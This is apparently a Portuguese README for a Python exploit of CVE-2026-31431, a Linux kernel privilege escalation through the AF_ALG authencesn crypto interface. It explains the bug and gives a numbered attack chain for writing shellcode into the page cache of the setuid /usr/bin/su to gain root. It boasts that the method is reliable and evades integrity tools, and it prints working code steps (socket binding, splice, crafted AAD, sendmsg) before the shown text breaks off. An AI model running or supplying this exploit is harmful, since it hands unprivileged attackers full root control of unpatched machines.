
Exploit em Python para CVE-2026-31431, uma escalada de privilégios no kernel Linux por meio da corrupção do cache de páginas de binários setuid, alcançando acesso root.
Copy Fail (CVE-2026-31431) é um bug lógico crítico no subsistema criptográfico do kernel Linux que permite que usuários sem privilégios alcancem escalação de privilégios para root. A vulnerabilidade afeta os kernels Linux 6.0.0 até 6.18.x em todas as principais distribuições.
Este repositório contém o exploit real que aciona a vulnerabilidade corrompendo o cache de páginas de binários setuid e executando código arbitrário com privilégios de root.
Copy Fail é um bug lógico que permite que usuários sem privilégios escrevam blocos arbitrários de 4 bytes diretamente no cache de páginas do kernel de qualquer arquivo legível no sistema, incluindo binários setuid.
Características principais:
A vulnerabilidade decorre de uma otimização de 2017 em algif_aead.c (commit 72548b093ee3) que alterou as operações AEAD de out-of-place para in-place:
Antes (seguro - 2015):
TX Scatterlist (entrada) ← buffer TX (dados do usuário do arquivo)
RX Scatterlist (saída) ← buffer RX (área de saída do usuário)
Scatterlists separados = páginas do cache de páginas são somente leitura
Depois (vulnerável - 2017):
Scatterlist Combinado:
[ buffer RX ] [ Páginas do cache de páginas encadeadas via sg_chain() ]
↑ ↑
req->src = src req->dst = dst (MESMO scatterlist)
As páginas do cache de páginas agora estão em um scatterlist GRAVÁVEL!
O scatterlist combinado se parece com:
[AAD + Texto cifrado do buffer RX] || [Tag do cache de páginas de /usr/bin/su]
↑
Limite
(authencesn escreve ALÉM deste ponto)
O algoritmo authencesn é um wrapper AEAD usado pelo IPsec para Extended Sequence Numbers (ESN). Ele realiza o cálculo de HMAC, mas precisa reorganizar bytes dentro do AAD (Associated Authenticated Data).
No código do kernel (crypto/authenc.c), durante a descriptografia:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // lê bytes AAD 0-7
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // temporário: sobrescreve dst[4..7]
scatterwalk_map_and_copy(tmp+1, dst, assoclen+cryptlen, 4, 1); // ← LINHA CHAVE
// escreve 4 bytes em dst[assoclen+cryptlen]
O problema: A terceira escrita ocorre no deslocamento assoclen + cryptlen. No caminho in-place vulnerável:
O kernel trata esta posição como "espaço temporário descartável" e escreve o valor ali permanentemente. Os bytes originais nesta posição no cache de páginas são perdidos para sempre.
1. Atacante abre socket AF_ALG → vincula a authencesn(hmac(sha256),cbc(aes))
(Nenhum privilégio necessário; AF_ALG está disponível para usuários sem privilégios por padrão)
2. Atacante abre o arquivo alvo: /usr/bin/su (binário setuid-root)
3. Atacante usa splice() para entregar as páginas do cache de páginas de /usr/bin/su
no socket AF_ALG como "texto cifrado" e "tag"
4. Atacante envia sendmsg() com AAD contendo:
- Bytes 0-3: preenchimento
- Bytes 4-7: seqno_lo = valor de 4 bytes a ser escrito (controlado pelo atacante)
- Bytes 8+: preenchimento
5. Atacante chama recvmsg() que aciona a operação de descriptografia AEAD
Dentro da descriptografia de authencesn no espaço do kernel:
a) O kernel lê os bytes AAD 0-7
b) O kernel escreve seqno_hi em dst[4..7] (temporário, depois restaurado)
c) O kernel escreve seqno_lo em dst[assoclen + cryptlen]
↓
ESTA ESCRITA CRUZA DO BUFFER DO USUÁRIO PARA AS PÁGINAS DO CACHE DE PÁGINAS
↓
A escrita de 4 bytes no cache de páginas de /usr/bin/su ocorre AQUI
d) O kernel calcula HMAC (falha na validação - o texto cifrado é fabricado)
e) recvmsg() retorna erro
MAS: A escrita de 4 bytes JÁ PERSISTE no cache de páginas
6. Atacante repete os passos 2-5 para cada bloco de 4 bytes do shellcode
7. Atacante executa /usr/bin/su
- O kernel carrega o binário do CACHE DE PÁGINAS (que agora contém shellcode)
- O binário é setuid-root
- O shellcode executa com UID=0
- O atacante tem acesso root
| Aspecto | Explicação |
|---|---|
| Sem Travamentos | A operação é concluída da perspectiva do kernel |
| Determinístico | Sem condições de corrida; síncrono e confiável |
| Persistente | A corrupção do cache de páginas sobrevive mesmo após o erro de recvmsg() |
| Invisível | O arquivo em disco não é tocado; ferramentas padrão de integridade não detectam nada |
| Universal | O mesmo código funciona em todas as distribuições; sem deslocamentos específicos por distribuição |
| Portátil | Funciona nas arquiteturas x86-64 e ARM64 |
sock = socket.socket(38, socket.SOCK_SEQPACKET, 0) # AF_ALG = 38
sock.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
req_sock = sock.accept()[0] # Socket de requisição para operações AEAD
Cria um socket AF_ALG vinculado ao template AEAD authencesn.
target_fd = os.open("/usr/bin/su", os.O_RDONLY)
Abre o binário setuid que será corrompido. Qualquer arquivo legível funciona, mas binários setuid são escolhidos para escalação de privilégios.
pipe_rd, pipe_wr = os.pipe()
Cria um pipe que atuará como intermediário para operações de splice(). Os buffers do pipe manterão referências às páginas do cache de páginas.
os.splice(target_fd, pipe_wr, cryptlen, offset_src=write_offset)
Usa splice() para transferir cryptlen bytes de /usr/bin/su começando em write_offset para o pipe.
Por que isso importa: splice() transfere dados entre descritores de arquivo sem copiar. Ele passa referências diretas às páginas do cache de páginas do kernel. Essas páginas permanecem na estrutura interna de buffer do pipe.
assoclen = 8 # Comprimento AAD: bytes 0-7
cryptlen = 32 # Comprimento do texto cifrado (== saída HMAC-SHA256)
authsize = 32 # Comprimento da tag
write_offset = 0x2000 # Deslocamento em /usr/bin/su para escrever
aad = b'\x00\x00\x00\x00' + write_data + b'\x00' * (assoclen - 8)
O AAD (Associated Authenticated Data) contém:
O algoritmo authencesn usará os bytes 4-7 deste AAD em sua escrita temporária.
req_sock.sendmsg([aad], [], socket.MSG_MORE)
Envia o AAD para o socket AF_ALG. O flag MSG_MORE indica que o texto cifrado/tag virão em seguida.
os.splice(pipe_rd, req_sock.fileno(), cryptlen)